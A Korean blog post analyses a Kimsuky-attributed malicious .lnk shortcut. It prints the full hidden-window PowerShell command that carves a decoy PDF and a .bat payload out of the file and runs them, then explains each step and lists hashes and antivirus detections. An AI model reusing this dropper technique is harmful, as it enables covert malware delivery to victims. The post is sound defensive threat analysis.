꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있으며 해당 악성코드는 기본적으로 링크 형식으로 돼 있지만, 해당 링크를 실행하면 파워셀이 작동을 하고 여기서 TEMP 파일에 bat 파일 생성 그리고 2023년도 4월 29일 세미나.pdf 파일을 생성하시고 그리고 실행을 하는 방법을 사용하고 있습니다.

악성코드에 포함이 된 파워셀 명령어
악성코드에 포함이 된 파워셀 명령어

오늘은 링크 방식 악성코드로 제작된 악성코드인 Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk 이며 일단 보면 lnk 즉 링크 방식을 되어져 있는 링크 파일이 무슨 42.5 MB 가 되고 있습니다.즉 무엇인가 의심이 들고 무슨 코드들이 있는것인지 확인을 해야 할것입니다.
일단 해쉬값은 다음과 같습니다.
파일명: Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk.lnk
사이즈:42.5 MB
CRC32:9ccdd9ca
MD5:85e71578ad7fea3c15095b6185b14881
SHA-1:5d3e6a8d4bd0cf68c3fc3bdf7836c124538f5e8d
SHA-256:6753933cd54e4eba497c48d63c7418a8946b4b6c44170105d489d29f1fe11494

HxD 로 본 악성코드 내부 모습
HxD 로 본 악성코드 내부 모습

일단 북한에서 이런 방식을 채택해서 유포하는 이유는 간단합니다. ROKRAT(RokRAT)은 마이크로소프트 오피스 에서 매크로를 기본값을 사용 안 함 그리고 사용자 인식 개선들의 이유로 매크로를 통한 약발이 안 먹히는지 최근 lnk 파일 형식으로 유포하고 있으며 해당 부분을 분석하면 기본적으로 파워셀(PowerShell)을 통해서 감염을 시도하면 나머지는 더미 파일로 채워져 있는 것이 특징입니다. 즉 기존은 매크로를 사용했으며 최근에서는 윈드라이브, 구글 드라이브 같은 것을 사용하고 있고 악성코드 안에서는 파워셀이 있고 해당 명령어가 실행되는 방식입니다.
일단 해당 Cerbero Suite Advanced로 해당 파일을 열어보면 다음과 같은 명령어가 있는 것을 확인할 수가 있습니다.
그리고 해당 명령어는 다음과 같습니다.

LinkTargetIDList
{
 // not present
}

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /c powershell -windowstyle hidden $dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; $lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eq 0x0002A8F60E} ^| Select-Object -ExpandProperty FullName; $pdfFile = gc $lnkpath -Encoding Byte -TotalCount 03568692 -ReadCount 03568692; $pdfPath = '%temp%\230130.pdf'; sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 003388)) -Encoding Byte; ^& $pdfPath; $exeFile = gc $lnkpath -Encoding Byte -TotalCount 03571940 -ReadCount 03571940; $exePath = '%temp%\230130.bat'; sc $exePath ([byte[]]($exeFile ^| select -Skip 03568692)) -Encoding Byte; ^& $exePath;
 iconlocation: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
}

이걸 다시 설명을 하면 다음과 같습니다.
주어진 명령어는 PowerShell 스크립트로 이루어져 있습니다. 이 스크립트는 상당히 복잡한 구조로 되어 있으며 몇 가지 작업을 수행하는 것으로 보입니다. 다음은 명령어의 주요 구성 요소에 대한 설명입니다.:
명령어 실행 방식:/c 옵션을 사용해서 명령어 실행 후 PowerShell(파워셀) 창을 닫음
powershell -windowstyle hidden은 PowerShell 창을 숨김
현재 작업 디렉토리 확인:
Get-Location' 명령어를 사용하여 현재 작업 디렉터리의 경로를 가져옴
작업 디렉토리에 대한 검사를 수행
바이너리 파일 및 PDF 파일 경로 결정:
작업 디렉토리 경로에 따라 다른 경로를 설정하고 나서 System32 또는 Program Files 를 포함하는 경우 임시 디렉토리(%temp%)로 설정
Get-ChildItem 을 사용하여 임시 디렉토리 내의 빈 크기(0x0002A8F60E)인 .lnk 파일을 검색
해당 .lnk 파일의 경로를 찾고, PDF 파일과 실행 파일(exe)의 경로를 설정
PDF 파일 처리:
gc 명령어를 사용하여 빈 크기(03568692) 이전의 바이너리 데이터를 읽어들임
임시 디렉토리 내에 230130.pdf 파일을 생성하고 읽은 바이너리 데이터를 해당 파일에 작성
생성한 PDF 파일을 실행 PDF 파일은 %temp% 디렉터리에 저장합니다.
실행 파일 처리
PDF 파일과 동일한 방식으로 실행 파일의 바이너리 데이터를 읽음
임시 디렉토리 내에 230130.bat 파일을 생성 읽은 바이너리 데이터를 해당 파일에 작성 후 실행
아이콘 위치
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe 경로에 있는 msedge.exe 파일을 아이콘으로 사용
Microsoft Edge(마이크로소프트 엣지)브라우저를 통해서 PDF 파일을 오픈 합니다.
해당 코드가 악성코드인 이유는 다음과 같습니다.
c powershell -windowstyle hidden
명령은 cmd.exe에서 PowerShell을 실행하고 창을 숨기고  -windowstyle hidden 옵션은 PowerShell 창을 숨기는 데 사용 해당 옵션을 사용하면 PowerShell 창이 표시되지 않고  Power Shell 명령은 배경에서 실행
gc $lnkpath -Encoding Byte
해당 명령은 .lnk 파일의 내용을 바이트로 읽고  cg 명령은 Get-Content의 약자로 파일의 내용을 읽는 데 사용 -Encoding Byte 옵션은 파일의 내용을 바이트로 읽는 데 사용
$pdfPath = %temp%\230130.pdf;: $pdfPath 변수에 임시 디렉토리와 파일 이름을 할당은 %temp% 함
$pdfPath ([byte[]]($pdfFile | select -Skip 003388)) -Encoding Byte;: sc는 PowerShell의 Set-Content cmdlet의 약어 해당 명령어는 데이터를 파일에 쓰는 데 사용 $pdfPath에 지정된 파일 경로에 데이터를 저장
[byte[]]: 데이터를 바이트 배열로 변환
$pdfFile | select -Skip 003388: $pdfFile에서 003388 바이트를 건너뛴 데이터만 선택합니다. 이를 통해 원하는 위치 이후의 데이터만 쓰기
-Encoding Byte: 데이터를 바이트 단위로 인코딩
start C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe %temp%\230130.pdf
해당  명령은 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe 경로에 있는 msedge.exe를 실행합니다. msedge.exe는 Microsoft Edge 브라우저의 실행 파일입니다. 코드는 Microsoft Edge 브라우저를 사용하여 PDF 파일 실행 입니다.
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 이며  64비트 Windows 운영 체제에서 32비트 PowerShell 실행 파일의 경로입니다.
2023-06-09 05:05:04 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Dropper/LNK.Generic.S2241
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Boxter.949.9593571F
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
Avira (no cloud):LNK/Drop.Agent.VPVF
BitDefender:Heur.BZC.YAX.Boxter.949.9593571F
Cynet:Malicious (score: 99)
Emsisoft:Heur.BZC.YAX.Boxter.949.9593571F (B)
ESET-NOD32:LNK/Agent.WU
F-Secure:Malware.LNK/Drop.Agent.VPVF
Fortinet:LNK/Agent.24B2!tr
GData:Heur.BZC.YAX.Boxter.949.9593571F
Google:Detected
Ikarus:Trojan.LNK.Agent
Kaspersky:HEUR:Trojan.Multi.Runner.ag
Lionic:Trojan.WinLNK.Runner.4!c
MAX:Malware (ai Score=89)
McAfee:LNK/Agent-FYF!85E71578AD7F
McAfee-GW-Edition:BehavesLike.Trojan.vx
Microsoft:Trojan:Win32/WinLNK!MSR
QuickHeal:LNK.ROKRAT.47713.GC
Sangfor Engine Zero:Trojan.Generic-LNK.Save.e2d78363
SentinelOne (Static ML):Static AI - Suspicious LNK
Sophos:Troj/LnkRun-DC
Symantec:Trojan Horse
Tencent:Win32.Trojan.Runner.Tgil
Trellix (FireEye):Heur.BZC.YAX.Boxter.949.9593571F
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.949.953F66BB
ViRobot:LNK.S.Agent.44627470
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Runner.ag
입니다.일단 해당 대북 관계자 분들을 노리고 있으면 기본적인 보안 수칙을 잘 지키면 되고 링크 파일이 쓸데없이 저렇게 파일이 크지 않으므로 의심을 하는 것은 당연합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band